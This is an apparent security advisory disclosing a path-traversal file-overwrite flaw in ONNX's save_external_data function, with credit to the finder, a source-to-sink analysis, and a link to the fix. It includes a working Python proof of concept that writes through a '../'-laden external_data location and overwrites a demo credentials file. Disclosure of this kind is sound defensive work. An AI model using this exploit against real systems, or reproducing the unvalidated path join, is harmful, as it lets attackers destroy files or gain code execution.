Original finding credit
- Micheal Keines @michealkeines
- Date: Jan 16th, 2025
- Link: https://huntr.com/bounties/1d7c4803-8828-4b75-850d-eb3b16f0bc06
We weren't aware of the first finding posted on Huntr, and happy to retrospectively credit Micheal. Edit made on October 14th, 2025.
Description
The library's save_external_data function allows arbitrary file overwrite through path traversal. This allows attackers to craft malicious tensor data with specially constructed external_data paths using "../" sequences to escape the intended directory and write to any location on the filesystem where the process has write permissions.
The vulnerability exists because the function does not validate or sanitize the user-controlled path before writing files. This vulnerability is similar to CVE-2024-5187, which affected the download_model_with_test_data function, but impacts a core functionality of ONNX.
Source-Sink
- Source: User-controlled input in
tensor.external_datafield, specifically in thelocationvalue - Path: The
save_external_datafunction inexternal_data_helper.py - Sink: File write operation at path created by joining
base_pathwith user-controlledlocation:
The function directly joins paths without validating, allowing path traversal via ../ sequences.
PoC
import os
import onnx
from onnx import TensorProto
from onnx.external_data_helper import save_external_data
print(f"ONNX version: {onnx.__version__}")
os.makedirs("/tmp/secure_data", exist_ok=True)
os.makedirs("/tmp/model_workspace", exist_ok=True)
# sensitive file
with open("/tmp/secure_data/credentials.txt", "w") as f:
f.write("api_key=secret123456789")
print(f"Before: {open('/tmp/secure_data/credentials.txt', 'r').read()}")
# model with path traversal
model = TensorProto()
model.raw_data = b"EXPLOITED" + b"X" * 10
location = model.external_data.add()
location.key = "location"
location.value = "../../../../../../../../tmp/secure_data/credentials.txt"
position = model.external_data.add()
position.key = "offset"
position.value = "0"
save_external_data(tensor=model, base_path="/tmp/model_workspace")
print(f"After: {open('/tmp/secure_data/credentials.txt', 'r').read()}")
Running this code will overwrite the content of /tmp/secure_data/credentials.txt with "EXPLOITEDXXXXXXXXXX".
Impact
- Attackers can overwrite any file the process has write permissions for
- Could lead to RCE by overwriting script files, configuration files, or SSH keys
- Sensitive files can be corrupted or destroyed
Fix
- https://github.com/onnx/onnx/pull/7040
